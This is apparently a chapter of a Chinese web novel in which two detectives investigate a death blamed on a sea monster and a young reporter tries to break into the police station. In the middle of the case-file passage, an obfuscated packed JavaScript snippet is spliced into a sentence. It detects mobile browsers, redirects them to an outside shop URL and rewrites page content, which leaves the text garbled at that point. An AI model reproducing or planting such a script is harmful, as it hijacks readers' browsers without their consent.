予杏在车载导航上输入了一个地址,“你把我送到这个位置附近就行。” 斌北仔细确认了几遍导航上的地址,忍不住出声问道: “这不是景区吗?你家住景区的山里?” 予杏点了点头。 这两天天气热,他就暂时搬去了景区的别墅里避暑,不过最近考虑搬去其他地方,得找一个离警局,医院,以及一些其他地方都近的位置买几套房子,来回奔波太浪费时间了。 予杏懒得和解释,但是希望他能开快一点,因为他现在真的需要进食。 “对,山里,差不多,不堵车的路段还请开快一点,我已经错过晚餐了,再迟的话就连夜宵也要错过了。” 斌北嘟哝着,“你这人还真麻烦啊,饿的话就随便在路边买点东西吃呗。” “那些路边摊商贩为了安全卫生都使用木制或者瓷制的食盒,我懒得明天再去归还,也懒得找公共回收亭。” “......” 明明公共回收亭遍地都是,多走两步就能找到一堆,这个家伙到底是有多懒啊。 七月二十二日 案发后第三天 予杏慢悠悠的推开警局的门,懒洋洋的打了个哈欠,看了堵在警局门口等自己的斌北,可能是心情不坏予杏难得的挥了挥手打了个招呼。 “早上好?” “不早了,比我们早的人可太多了,你看。” 斌北说着将手里的报纸塞到予杏的手里。予杏展开报纸一看,头版头条的位置上赫然写着‘荒楼惊现神秘怪物?!已有一人遇害!’ “哇哦。”予杏敷衍的应和一声。 “你‘哇哦’个头啊,事情闹大了。” “媒体怎么会知道这个案子?” “我怎么会知道。” “嗯...我猜是上次那个拾荒的老人,可能是他碰到了记者,无意间将案件的事情说出去了,他是个以前应该是一名老师,对于别人的追问很难忍住不做出解答,烂尾楼那一片确实是荒,我之前就说那个地方适合炒作。” 斌北:“......” 斌北看着予杏,他此时一头的雾水,很多想不通的问题多到不知道从何问起,他突然生出一种隐隐的预感,予杏说不定会算命?! 予杏举着报纸,飞快扫视文章的内容。 “我看看,荒废许久的烂尾楼里夜半午时常总有‘滴答滴答’的水声,无人走过的楼梯上,莫名留下有粘稠的液体。据当地居民爆料,有散发着腐烂气息的怪物蛰伏于此,它白天在废弃的人工湖形成的沼泽里沉眠,夜晚游走在废楼之中,杀死一切能食用的生物。 近日有一名误入这片区域的人,不幸遇见了这只可怕的怪物,案发当天他并不知道自己早已被饥渴的怪物盯上了,被害人毫无知觉的在楼里准备享用自己的晚餐的,突然,从他的背后,湿粘的不明物体落在了他的肩头。” 予杏嘴角上扬,然后轻声的笑了起来,“哈哈哈,可真是有意思,这是报纸吗,怎么和我昨天看的怪奇杂志差不多。” “你还笑的出来?” “有什么大不了的,现场除了那个老人一般人也找不到,再说了我们已经把现场清理过了,他们找到了又能怎么样。” “......”斌北无语的拍了拍自己的额头,“我不是说记者,事情变成这样的话局长也会重视起来。” “所以说那有怎么样?” “那可是局长。” “不过就是局长。” 看着予杏一脸无所谓的样子斌北也不知道该说什么好了。 “行了,媒体的事情不用理会,他们折腾不出什么幺蛾子的,现在我们去该交通署看看了吧。” “...嗯。”斌北郁闷地点点头。 斌北开着警车一路红灯的抵达了片区交通署。 下车一看已经十点了,比起昨天和交警说好的九点半已过了不少。 他们走到交通署的门口,就看见昨天和斌北通话的交警已经站在门边等着他们了,一改昨天电话里不耐烦的样子,非常亲切的小跑过来。 “你们好,你们好,你们就是调查附近那栋烂尾楼里发生案子的警员吧?” “对,我叫予杏,这是斌北。” “哦,斌北警官我昨天还和他通话来着。” 斌北一脸漠然地对着交警点了点头,随即问道:“你们监控室在哪?” “哦哦哦,跟我来。” 交警回身给他们引路,一边走一边凑近予杏小声的问道:“哎,新闻上说的是不是真的,现场是不是真的有绿色粘液粘满了整个天花板啊?” 绿色的粘液沾满天花板? 媒体是真能编啊。 予杏眼底沾上几份笑意,有的时候不由感慨,媒体人的想象力的丰富多彩。 斌北板着个脸,“现场根本什么都没有。” 交警:“我懂,我都懂的,不能泄露现场信息对吧?” 斌北一脸麻木,理都没有理那个小交警,予杏皮笑肉不笑的回应道: “呵呵,你猜。” 交警震惊的看着予杏,好像已经洞悉了全部真相一般。 交警署的监控室很大,和他们警局大办公室差不多大小的房间里摆放着数台电脑,可能因为交通剐蹭的事件出现的太多,所以中心市里大大小小的路段摄像头都是全天候的开启状态。 交警已经预先将他们需要的监控文件调取出来了。 予杏和斌北坐在椅子上,看着笔记型电脑里的画面录像。 和预想的不太一样,予杏判断的三个有可能拍啥到现场楼房门口位置的摄像头只有一个的角度能勉强看到一点楼洞门左下角的情景。 事发当天下午六点十六分一个黑色鞋子的人走进了烂尾楼。 当天晚上八点三十四分一个穿着白色鞋子的人走进烂尾楼。 当天晚上八点四十七分穿着白色鞋子的人离开烂尾楼。 隔日,上午九点零四分,一个穿着黑色鞋子的人走进烂尾楼,十五秒后奔出烂尾楼。 隔日,上午九点二十八分,大量人员走进烂尾楼。 因为视角过于偏,通过监控摄像头只能看清进出者的鞋子,以楼栋口的台阶做参照物,面前可以从两双鞋的大小推断,两人都是男性,除此以外就在没什么可用信息了。 斌北扭头看了一眼予杏,在他的脸上看见和自己如出一辙的震惊。 斌北甚至还听见予杏小声地喃喃自语了一句,“为什么?” “什么为什么,根本没有什么怪物,应该就是那个穿白色鞋子的人伪造了现场,我们只要把他找出来就行了。” 予杏没有回答他,只是拨回进度,重新看了一遍视频。 从一楼到三楼上下大约需要二十秒左右的时间,拾荒没有说谎他远远看见地上有血就跑出来报警了,他不可能是伪造现场的人。 然而八点四十七分之后到第三天拾荒人走进烂尾楼之前,没有人再进出过这栋烂尾楼。 也就是说,如果有人伪造了现场的话,那就应该是那个白色鞋子的主人。 予杏盯着屏幕沉默不语。 照理说依靠现在的鉴识技术,死亡推定时间前后的误差不会超过三个小时,案发当时前后的三个小时应该就只有这两个人进出过大楼才对。 但是...... 予杏倚在办公椅的椅背上,闭了闭眼道:“我们得找到那个穿白色鞋子的人。” “对啊,我也是这么想的。” “呵呵,和你想的可不一样,斌北,搞不好,会召唤出深渊海怪的恶毒术士,真的存在也不一定啊。” “什么?” 斌北听不懂他在说什么,如果可以他真的希望予杏能多说一点人话,而不是一天到晚以明嘲暗讽自己的智商为乐。 “你到底在说什么啊。” “我们回去说吧,这份监控我们能拷贝一份带回去吗?” 站在他们身后一脸激动,仿佛挖到了大料,马上就要按捺不住冲动,想立刻去跟其他同事传播谣言的交警连连点头,“可以,可以。” 斌北也注意到这里不是说话的地方,他硬是憋着,不停的告诉自己,别急,问了予杏那个混蛋也不一定会说,等会儿再问,等会儿再问。 沉默一直持续到斌北关上车门的那一刻, “你到底是什么意思啊。” “啊?” “你刚刚说什么会召唤出怪物的术士真实存在是什么意思?”斌北一掌拍在方向盘上,声音不自觉的提高了一点。 予杏:“......” 斌北:“你为什么又不说话,你告诉我啊,哪怕绕一点,我会尽力理解的。” 斌北整个人都蔫了下来,他的声音很大听起来却分外可怜,像是一只尖叫着又不停瑟瑟后退的棕熊。 “因为鞋子,离开的那个人穿着一双白色的鞋子,现场的地面上有大量的血迹,如果是那个人布置了现场,那么他的鞋子是不可能没有沾到一点血。 当然,也可能他早有准备带了鞋套之类的进入现场,那样的话现场的地面上也会留下痕迹,我们在现场什么都没有发现。” 斌北瞳孔略微放大,“我明白了,你是说他进入现场用某种方法杀死了杨程 然后活着离开了是吗?” “......”予杏捏了捏眉心靠在椅背上,侧头看着窗外。“我回答完了,我有另一个问题想要问你。” “什么?” “我想知道斌北你是不是之前曾遇见过所谓的人面鲛,或者是曾经在哪里见过那种蓝色的鲜血。” 斌北一下就沉默了,他的手从方向盘上滑落,垂到了身后,眼神不自然的移向别处,声音也像是泄了气一般,语速越来越快,音量越来越小。 “你,你在说什么。” “在手上。” 予杏观察了着他的动作,冷不丁的说了一句。 斌北倒吸了一口气,“你怎知道,你为什么什么都知道?” “和我说说吧,说不定会和这次的案子有关。” “一定要说吗?” “斌北,如果你想克服恐惧,首先就必须面对他。” “...你会相信我说的话吗?” “你希望我相信你,还是保持沉默?” “...保持沉默吧。” 斌北发动了车子,慢慢地朝着警局的方向走去,回去的路上倒是一路绿灯,不过他行驶了更长的时间。 按照的描述事情是这样的: 斌北出生在临海的潮汐市,他大学毕业之后留在了中心市担任刑警,他鲜少回家,几乎不接近海滩,因为他永远恐惧于那个他已经记忆模糊的恐怖夜晚。 那时他大概只有四五岁,潮汐市在举办庆典,闲不住的斌北父斌北母带着斌北一起出去庆典晚,天上的月亮又大又圆,人们载歌载舞,他骑在父亲的肩膀上看观看表演。 然后他看见在海上的上面有一座闪闪发光的城堡,那景象太美丽了。他离开了父亲,朝着那个方向走了几步,等他反应过来的时候周围的沙滩边上就只剩下他一个人了。 他那时候还很矮,但是胆子很壮,他一点都没有想要哭,直到有一个黑乎乎像是章鱼触手一样的东西从头顶落下,滑腻腻冷冰冰地东西触碰了他的头顶。 那个庞大的扭曲的不知道是什么东西的物体,事到如今他已经不能完全记起来了,之后发生了什么他也忘记了。 但他似乎是进行了激烈的挣扎,他的胳膊受了伤,头也很疼,他记得自己一直跑,一直跑,跑出了沙滩,跑到了街上。 街边的路灯投射下来一圈亮白色的光,但是只有他脚下的这一圈是凄白的明晃晃的光亮,圆圈之外全是黑暗,那是一种如同深渊一般看不见尽头的黑暗。 仿佛是被困在了绝望的孤岛之中。 斌北抬起头,刺眼的白光照射让他感到一阵阵的眩晕,除此以外天上就连月亮都看不见了,他靠在街边的墙壁上瑟瑟发抖的时候,他突然发现自己的手上沾满了蓝色的鲜血。就在他想要大声尖叫的时候,两道声音同时出现在道路两边的黑暗里,越来越近。 一边是‘沙沙沙’的诡异声响,另一边也是,那古怪的声音越来越近,越来越近,斌北害怕极了,一闭眼就昏了过去,等他再次醒来的时候,他的父亲就在他的身边,他跟父亲说有怪物要抓走他,父亲是他睡蒙了,在做梦。 但是他看见的手上还残留着那种蓝色的鲜血。 斌北讲完在后座自嘲的笑了一声,“我的故事说完了,反正你肯定就觉得我在胡扯吧。” “...我说过我会保持沉默。”予杏淡淡的回道。 “你还是别沉默了吧,你每次不说话,我都超级火大。” “我知道。” “......”斌北无语了,瞬间没有了恐惧,气的想跳起来骂人。 “你查了资料觉得那个怪物应该是传说中的人面鲛,现在你觉得你小时候在潮汐市遇见的人面鲛又出现在了中心市里,对面?” “...嗯。” 予杏试着想要安慰斌北,他不擅长安慰别人,于是面无表情的用一种淡淡语气说道: “别想了,那种水生的怪物要怎么在内陆城市存活啊,在水产品市场租住一间大水缸吗?” “......我对你真的,无话可说。” “......” 予杏沉默了,无话可说挺好的,他本来也不想说话。 一路沉默着,警车缓缓驶入了警察局。 予杏:“我们还是抓紧查案子吧,你不用下车了,我们兵分两路,我回警局重新调阅卷宗,你去杨程之前工作过的公司打探消息,注意不要问他们,知不知道有关怪物的事情。” “啊?为什么?” 斌北话音刚落,予杏已经离开了警车,径直向着警局大门的方向走去,留下斌北一个人在车里默默生气。 予杏回到警局之后,将原本堆在抽屉里翻斗没翻的资料一股脑全部搬了出来,很快几大叠资料就整整齐齐的摞在了予杏的办公桌上。 网络犯罪组的警员阿道夫端着纸杯从茶水间走出来,看着堆满文件的办公桌茫然的不知道该把咖啡放在哪里好,想了想单手拖来自己的办公桌和予杏的拼在一起,呈现出一个直角,将手里的咖啡放在予杏伸手就能够到的一侧。 做完这一切,同事阿道夫关切的问道: “这么多资料,小予杏你全要看完吗?” “嗯。”予杏叹了口气,点点头,“谢谢你的咖啡。” “没事没事。” 经济犯罪组的警员里松关切道:“别太累了,我这有眼药水,看累了可以滴一滴。” 经济犯罪组锋:“我带了奶糖,听说动脑子要补充糖分的。” 巡逻组可岚樘:“奶糖哪里够啊,我去面包店问过了,说是奶油泡芙最甜。” 予杏的办公桌前被围的水泄不通,本就堆的满满地办公桌上又多出一片粉红色的甜点心。前辈们围在四周露出慈父一般的笑容。 予杏偷偷得叹了口气,压住心底的一丝恼怒。 早知道前辈们今天都这么闲,他就该和斌北换一下,让他在警署里查资料,自己出去走访调查的。 予杏一一敷衍地感谢完前辈们之后,颇为无语的低头默默翻阅卷宗,这些都是从各个相关部门调取出来的杨程的住房,社保以及从杨程之前的公司里找到的档案,记录了杨程从入职以后到遇害之前所有的销售记录。 五年前死者杨程一家在平安大道147号租入一间两室一厅的房屋,属于中心市城南,望东区,距离之前安购物的那家超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375918|141006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市很近,杨程在附近的的一家大型外包公司入职,入职后从事推销业务。 两年前杨程购买了开发中的商品房,付完首付之后开始偿还贷款,偶尔会去往工地勘察工程进度。 去年杨程购买的商品房烂尾,杨程花费了一笔钱跑去外地找开发商,没有找到反而又被骗了一些存款。 同月杨程换租了一间一室一厅的房子,位置在平安大道对面的兴旺路56号。两套房子距离很近,步行几分钟就能到达,推测可能是因为经济紧张所以换租了更便宜的公寓。 四个月前杨程被公司辞退,理由是业绩不佳。随后女儿重病,杨程彻底交不起房租,女儿和妻子住在医院,杨程一个人搬进了烂尾楼。 予杏大致的将文件全部浏览一遍,在地图上圈出几个杨程常出没的地点。 怎么都看不出哪里有问题,盯着自己画出来的路径图,予杏一手托着下巴,微微有些走神。 这时电话铃突然大震。 予杏接起电话,那头传来斌北的声音。 “喂,我向公司的领导层询问过了,他们开除杨程纯粹是因为公司业绩不佳,杨程本人并没有犯什么错误,另外和他一起被辞退的还有三个人,都是同样的原因。” “嗯,他的同事那边怎么说?” “他的同事说,自从工地停工开始,他就经常咒骂开发商,也会在私下偷偷抱怨工资太低了之类的,离职后也在小聚会里因为房租的事情烦恼过,还是同事们凑了点钱借给他的。” “好的,我清楚了。”予杏看着黑板上的地点,在空白处点了点笔尖。 杨程单位同事的说法,基本都能和资料上的内容对上,但还是不能解释现在的问题。 “喂,为什么不让我问他们知不知道那个...那个人脸鲛的事情,万一杨程之前有提起过呢。” “......” 被予杏气了一天的斌北在予杏又又又一次的沉默里,终于是上火了,他忍不住对着电话大声道:“你这小子又不说话,给老子说话。” 予杏看见围在自己办公桌周围的大汉们纷纷皱起了眉头,悄无声息地虚空挥舞着拳头,予杏知道斌北回来之后是逃不过一通收拾了。 虽然这凭白而来的父爱让他也有些膈应,但是现在好一点了。 想到斌北会被骂,予杏不自觉地嘴角扬起一个像素点的弧度。 “是这样的,今天媒体铺天盖地的宣传之后,如果你向同事们问起‘关于可怕的怪物你知道什么’的话,他们会先入为主的认定报纸上说的是真的,记忆本来就是模糊的东西,这种情况下他们的发言可信度会降低,这是第一。” “第二、据护士的说法,杨程似乎有想过利用‘人面鲛’搞来钱。往前推他什么时候缺钱,第一次缺钱在付房屋首付的时候,那时候他向银行借款,第二次缺钱是在被辞退交不出押金的时候,那时候他和同事借钱,第三次也就是现在,现在他缺钱,没有找银行,没有找同事而是想到了‘人面鲛’也就是说他是在这几个月里才遇到或者才刚刚想起‘人面鲛’的存在的。” “第三,杨程觉得那个和‘人面鲛’相关的神秘人会给他钱,这就存在很多可能,他可能帮神秘人做过什么事,可能他们有血缘关系,可能他们很久之前有过交集父辈或者祖上有过交集,当然最可能的就是他手里有神秘人的把柄。” “总结一下就是,杨程最近可能在某一个地方撞见了和‘人面鲛’有关的神秘人并持有这个神秘人的把柄,这种可能性在诸多不同可能中占比最高,应该优先调查。所以你现在就从兴旺路56号出发,前往中心市第一人民医院,最好不要开车,速度慢一点,注意周围一切不引人注意,值得怀疑的角落。” “...哦。” 斌北双目无神,他根本不知道予杏在电话那头叽里咕噜叽里咕噜的说了些什么,但他说了这么多,应该是有道理的吧。 斌北觉得要不自己就不要反驳他的话好了。 “所以说你说了这么多,那个和神秘人到底是谁啊?” “暂时还没想到。” “没想到你说这么多,真是啰嗦。” 予杏:“......” “总之你先去杨程他们家原来租住的地址,兴旺路56号......算了你回警局接我,我们一起去。” “烦死了,一会儿这样一会儿那样的,等等,话说我为什么要听你的啊。” “嘟嘟嘟......” “靠。”斌北拿下电话,越想越气,他突然发现不止是这一次,他好几次都莫名其妙的听从了予杏的话,明明他才是前辈吧。 下午 虽然气不打一处来,但是斌北在原地生气半个小时之后还是老实的开车去警局接予杏了。 斌北一边开车一边想着,自己简直就是世界上脾气最好的人,而予杏呢他是世界上脾气最最最坏的人了,自己不应该跟他计较的,因为计较了予杏那个傻逼也不在乎。 等斌北慢悠悠的开进警局的大院子时予杏已经在门口等着了。 他就端端正正地站在大太阳底下,没有找到处荫凉的地块避暑,也不知道他的体质怎么回事,这么热的天气愣是一滴汗水都没有落下。 予杏面无表情的拉开车门,语气里带着些不悦,“怎么这么迟?” 斌北把脸撇到一边,干巴巴地撒了个并不高明的谎:“堵车了。” “呵呵。”予杏明显是不相信的,但什么都没说,只是默默在心底记下一笔。 很快斌北和予杏就开车抵达了兴旺路56号,这是一栋简陋的老式公寓楼一共是五层楼,外墙斑驳,红色的砖块裸露在外,大片的爬山虎铺满墙面。 杨程家住在公寓五楼的左边的房间。予杏从车上下来,抬头简单打量了一下这栋略显破旧的砖砌楼房,回头对斌北道:“你去借一辆自行车从这里出发去医院,我在附近走访。” “凭什么?为什么是我去?” 从这里到医院可不算近,大概有□□公里的距离,现在太阳这么大,予杏居然让他一个人骑车走那么大一截路。 “从这里到中心医院大概多远?” “不到十公里吧。” “你知道从这里骑车到中心医院往返,对我这种没有通过警局体测的人来说意味着什么吗?” “......什么?” “我会中暑的,你也不想我一抵达中心医院,就上楼挂号问诊吧,所以还是你去比较好。” 斌北沉默了,他看着予杏觉得他说的有道理,今天的太阳确实又辣又毒,予杏看起来又像是有点若不惊风的样子。 虽然如此,但斌北总觉得好像有有哪里不太对劲的样子。 斌北一动不动地沉思一会儿,越想越觉得予杏说的有点道理,于是默默地去路边租借单车了,予杏的嘴角上扬了一个像素点的弧度,他报仇从来不隔夜的。 目送斌北骑车离开之后,予杏转身走进楼栋。 因为今天是工作日,很多人家都没有人在,予杏只好去根据墙上的招租广告,在一楼找到了公寓的房东。 “你要打听一个叫杨程的人?” “对,请问对他们家了解多少?” 年过半百的老房东从抽屉里摸出老花眼镜,翻开记账的笔记本,找了好一会儿才翻到写有杨程名字的那一页。 “哦,杨程啊,我有印象。” 老房东指着账本连连点头,“他们家以前是租在这里的,就在五楼那屋,我听说他们家的女儿生病了,所以才搬走去看病的。” “他们离开之后有回来过吗?” 老房东摇摇头,“没有,他们退房之后只带走了几件家具,其他的说是都不要了,送给我了,害,我哪有地方放那些东西啊,什么板凳,柜子的,我都请人劈成木柴拉去废品站卖了。” “哦,不对,还有些他们没带走的小物件,我去给你找找。” 老房东说完就自顾自的朝房间里面走去,不一会儿拖出来一个小纸箱子。 予杏半蹲在地上随意的翻找了一下, 里面有两把剪刀,一个花瓶,一个布娃娃,一盒过期的退烧药,一个塑料密封收纳箱,一串木珠手链,一台坏掉的旧相机,一副大海挂画。 予杏若有所思的看了一会儿,拿出手机来将这些物件一一拍了照。 “哎呦,不用拍照,我也快七十了,这些东西回头都得清理掉的,你要的话拿走也行,反正也不值几个钱的。” “可以吗,那真是太谢谢你了。” “没事没事。” “他们之前租住的那个房间现在有人租下了吗?方便带我上去看看吗?” “倒是还没有人租,我带你上去看看。” “谢谢。”予杏笑容满面的向房东道谢,房东也很高兴的样子,直呼“没事没事。” 老房东将账本放回抽屉里,从桌上拿了一串钥匙带着杨程往楼上走。 杨程一家之前租住的房子已经房东清理过了,空荡荡没有装修过的房间只有白墙和水泥地,以及一些房东提供的简易家具。 虽然只是暂时租住,但可以看出杨程先生一家非常的爱惜这里,白色的墙壁非常干净,虽然有些发黄,但看不出一点脏污。 予杏看见卫生间的水台边缘用木头做了一圈弧形保护套,便问身边的房东,“这是原来就有的吗?” “不是啊,这是杨程怕家里的孩子磕到,就自己找工具做的,我看挺好的就没拆掉,怎么了吗?” “没什么,他们很爱他们的女儿?” “是的吧,我感觉他们一家人关系都挺好的,唉,说起来他们一家挺可怜的,挣一点钱全被卖房子的骗走了,希望那家孩子的病能早点好起来。” “......嗯,希望吧。” 予杏在屋子里逛了几圈,并没有发现什么线索,毕竟他们已经搬出去很久了,家具,相册,笔记这类可能存在线索的物件都不知去向了。 予杏告别了老房东之后估摸着时间,往医院所在的方向走。 没一会儿就迎面遇上了斌北,斌北也看见了他骑着自行车很快停到予杏的面前,倒是没有气喘吁吁但是满头大汗。 斌北一脸苦恼的朝着予杏摇摇头,表示他什么可疑的地方都没有找到。这条路上虽然巷子很多,还有一些小公园,但都人来人往并不可疑。 “我这边也没有什么发现。”予杏像是早就知道会这样,他并不苦恼立刻开始继续发号施令,“好吧,那么接下来从这里开始骑行到烂尾楼的现场,出发吧。” “......”斌北一脸无语的看着予杏,“那你呢?” “我开车从医院出发到烂尾楼的现场,你想跟我换路线?” “算了吧,先到医院再到烂尾楼更远,还不如直接从这到烂尾楼。” 可能因为天气实在太热了,斌北被太阳炙烤的已经没办法思考了,埋怨了一句后毫不迟疑地蹬着自行车就走。直到予杏开着警车与他擦肩而过的时候,斌北才突然觉察出一点不对。 予杏为什么只说换路线而不是跟他换交通工具? 辛苦的是绕路吗?不是啊,辛苦的是骑车! 上当了,又上了那个混蛋的当了! 4. 第 4 章 傍晚 予杏靠在能看见那栋烂尾楼的人行天桥的栏杆上,斌北气喘吁吁的跑上楼梯,“不行啊,根本没看见有什么可疑的地方。” 予杏将手里的一瓶矿泉水递给他。 从予杏手里接过水的一瞬间,辛苦骑了大半天车斌北的心里溢出一丝丝感动,完全想不起来是谁坑害的自己,以及这根本就是警车里的矿泉水。 大口喝了半瓶水之后,斌北总算是恢复精神了,他立刻问道: “你那边有什么发现。” “完全没有啊,根本找不到你说的那种奇怪的地方。” “我这边也是,虽然发现没有,但我突然想到一个疑点。” “什么?” “你之前有询问过安女士,小等生病当天的情景吗?” “没有啊,这有什么好问的?” “......”予杏叹了口气,用自己才能听见的声音小声的自言自语,“唉...我当时就不该偷这个懒的。” “什么意思啊?” 斌北凑上前几步好奇的看着予杏,他这才发现予杏闭着眼睛,像是在思考什么一样,眉头微微皱起,然后他听见予杏用极其平静的语气道: “杨程女儿生病的那天,他们去了市中心医院。” 斌北大失所望,“这算什么疑点?生病送医院再正常不过了吧。” “那天在医院我翻过他女儿的病历,护士也有说过,他的女儿得的是败血症引发的多器官功能衰竭,败血症这种病虽然很严重,但是早期症状表现并不明显,仅表现为发烧。虽然每个家庭不一样,但是就大多数情况来说,一个经济困难的家庭,最先考虑的应该是小型的诊所,这种可能性更大。” “而从兴旺路58号出发到市中心医院的这条路上,一共会途径一个诊所,一个区立医院,房东说他们急匆匆的抱着孩子离家的时候天已经黑透了,大概是晚上七八点的时候,从医院的记录看他们抵达的时间是晚上九点十八分,那个时间段道路应该已经没那么堵了,所以两个小时的时间似乎太长了。” “你到底是什么意思?” “我的意思是他们应该去过那家小诊所,然后不知道听说了什么,越过了区立医院,径直去了市中心医院。” “那又怎么了吗?” “诊所里的医生是怎么一眼看出小等患上的就是败血症的?” 斌北沉默了,他思考了一会儿,观察着予杏的表情,他想说‘因为医生医术高明’。他上学的时候‘实用医学’这门课程学的就不好,败血症能不能凭借高超的医术很快诊断出来他不知道,但是他现在知道的是,如果答案真这么简单的话,那予杏肯定不会发问的。 斌北思考了一会儿想出一个挑不出毛病的回答, “我们去那个诊所找医生问一下不就知道了。” “对,这就是问题的关键了,我们要找到那个医生,刚刚我已经去过了,没有开门,门口用一道很结实的铁链挂锁锁住了。” “那可能人家下班回家了。” “门上张贴营业时间是早上八点到晚上七点,现在是我去的时候是下午五点。” “那也可能大夫家里有什么事就先回家去了呗,诊所的医生很多都是住在诊所附近的小区里的。” “...有可能吧。” “而且这也就只是你的怀疑吧,而且还是因为这种巧合就怀疑那个医生。” “我暂时是没有更充足的理由去怀疑他。”予杏从倚靠的天桥栏杆上站直起来,他叹了口气,回身低头看着锈迹斑斑的栏杆继续道,“我现在只想搞清楚他在哪?他为什么会和这个案子有所牵连。” “那我们明天再去一趟那个诊所。” “我也是这么想的。” 看见予杏点头,斌北悄悄在心里舒了一口气。 太好了,他明天不会再让自己骑着自行车满城跑了,今天就可以把租来的自行车先退了。 奔走了一天的斌北盯着远处慢慢落下的夕阳越看越出神,越看越饿,感觉那红澄澄的落日真的很像鸭蛋黄。 身边的予杏突然一抬头,吓了斌北一跳,他赶紧回神。 不行,现在不是想着吃饭的时候。 “喂,斌北,把青梧的联系方式给我。” “啊?” “我记得除了药学,临床医学和中药学以外他好像还是法医学的专家吧,他会解剖尸体吗?” 斌北不明所以的点头。 “会吧,你要干嘛?” “我们警署好像没有专门聘请法医,我想请他帮忙调查一下杨程的尸体。”予杏无声地叹了口气,“我有一个想法想要请他帮忙求证一下,希望我现在的想法是对的。” 斌北默默的看着他,要是以往他应该会追根究底,咆哮着问予杏想法到底是什么,但是现在他真很累,不仅仅是身体上的疲惫,还有跟予杏相处了几天之后感到的心理上的疲惫。 “随你便吧。” 城市的另一边 瑞达达躺在租房里,手里也捏紧了一份今天的报纸,上面的头版确实是自己文章没有错,但署名为什么是主编的。 他今天本是请了假的,但现在也顾不得脚疼了,他必须得去报社找那个该死的主编谈谈。 “小瑞达达你才刚入社会,有些事情你不懂,你现在没有公信力,写你的名字读者就不会相信内容的真实性了啊。” 瑞达达看主编根本就是在胡搅蛮缠,但他一副有恃无恐的样子,想着自己刚刚预支的这个月的工资,瑞达达也不敢明面上和他不过不,只能退让一步, “那就不能将我的名字一并写上吗?” “......” 主编看了看他不说话,随即就无视了瑞达达的存在,自顾自的开始继续打电脑游戏。 一个小时之后。 路边的小餐馆里。 “不然这样,你继续挖掘这个新闻,等有了新的消息你直接把卖消息给我,我给你个好价钱,你看怎么样。” 瑞达达没有说话,眼前这个人是其他报社的编辑,也不是什么好东西。 “你自己怎么不去?” “哎呦喂,多危险啊,神明在上可千万别让我沾惹上这些怪东西。” 瑞达达冷哼了一声,他是不信神的。 很小的时候有一次他爹喝多了,扇了他妈一巴掌,他爹因为反噬疼的酒都醒了,于是他一边拉着他妈道歉,一边跪着祈祷神明宽恕。 瑞达达在一边看着觉得好笑极了,那个时候他就产生了一种想法,即,只要自己不想着伤害别人,那就不需要神明保佑。 产生了这个想法的他,退出了父母所在的教派,也被父母赶出了家门。 “我去也可以啊,只要署我的名,跟其他人并排也行,只要答应,我就去查。” “那可不行啊,你都不是我们报社的员工,怎么署你的名?” “......” “你自己好好想一想吧,是把新闻给你们主编然后什么都没有,还是把消息给我还一笔不错的报酬,你自己选。” 瑞达达拧着眉头,他是将要在中心市扬名立万的人... 瑞达达是不想再去那个烂尾楼了,他现在扭伤了脚行动不便,那个该死的破地方平时连个路人都没有,玩意出点什么事情,也不一定能在碰到好心人。 那么该怎么继续调查呢? 瑞达达想了一天,最终决定就从那个被害的男人查起。 可是中心市的命案不多,警方也基本不像群众公布,那自己该从何查起呢? 瑞达达一狠心一跺脚。 那就去偷警局吧。 瑞达达的执行力不得不说非常的强,他定下如此宏愿之后,立刻从被子里钻出来,收拾一下就出门去了。 瑞达达的脚虽然没什么大碍,但是跑起来还是有点疼,走到警局虽然省钱但是会脚疼。 最终瑞达达乘上最后一班公交,坐在第一排的车坐上,瑞达达默默沉思,他该怎么闯进警局,闯进去了又该怎么全身而退呢? 听说警局晚上是有警官值班的,一点都不好闯。要是被抓住了拘留不说,可能还会被处以高额的罚款,他没钱交罚款,所以一定不能被抓到。 下了公交车,瑞达达突然有了一个想法,他在自动售货机里购买了一瓶白酒,和啤酒不同,高浓度的酒精包装都是一样的,玻璃瓶,白底的酒标黑色的大字‘为自己,为他人,慎重饮酒。’ 瑞达达看了一眼默默将写着字的一面握在掌心里。 瑞达达的想法很简单他就偷偷溜进去,不被发现就没事,要是被发现了他就假装是喝醉迷路的醉鬼,这样就算可能会被拘留两天也不会被罚款。 瑞达达拎着酒很快就到了警局门口,一看见警局瑞达达惊呆了。 因为他从未靠近过警局所以他才刚知道,中心市的警局前面是有一片的空地。 瑞达达看着警局的大门不知所措,但来都来了,不进去怎么行。 瑞达达心一横,估量了一下距离,想着要不就冲过去好了。 他刚要冲刺,就见警局的门打开了,从里面走出两个大高个来。 瑞达达吓的腿脚都利索了,迅雷不及掩耳之势一头栽进路边的草丛里。 “这两天真热啊。” “是啊,局里空调都没有,外头都比里面凉快。” “哎,指望局长装恐怕难啊,不如我们几个自己凑一凑呗。” 瑞达达在警局门口路边的草丛里听不清他们在说什么,但是看上去他们一时半会儿有没回去的意思。 瑞达达干脆就在草丛里一点点的挪。 不知道门口两个警官聊什么,聊的尽兴,居然一点没有发现瑞达达的动作,就这么一点点的挪,直到挪到草丛边缘。 前方已经没有草荫了,瑞达达心一横,一瘸一拐地奋力朝着警局的侧面冲。 他很急,急的眼睛里只有前方,目不转睛,豆大的汗滴从头顶一次次滑下。 突然一道惶惶的亮光打在了脸上,瑞达达吓得六神无主,定在原地一动不动。 “你是什么人?大晚上跑来警察局做什么?” 瑞达达几乎要昏过去了,顶着灯光他睁不开眼,因为紧张他发不出声音,本能的就想跑,一只手也本能的攥紧了手里的酒瓶。 “问你话呢,你是干什么的?” “我我我...” 瑞达达咽了口唾沫,缓慢的,谨慎的,像是下定了某种决心似的站直了身体,他举起手里的酒瓶,在警员震惊的目光之里试图打开酒瓶。 但瑞达达从来只是喝啤酒的,他从没喝过白酒,也不知道白酒的酒瓶该怎么开。 尴尬的尝试了几次之后,被已经无语了的警员提溜起来带回局里去了。 蹲坐在拘留室的床上,瑞达达的脑子清醒一点了。 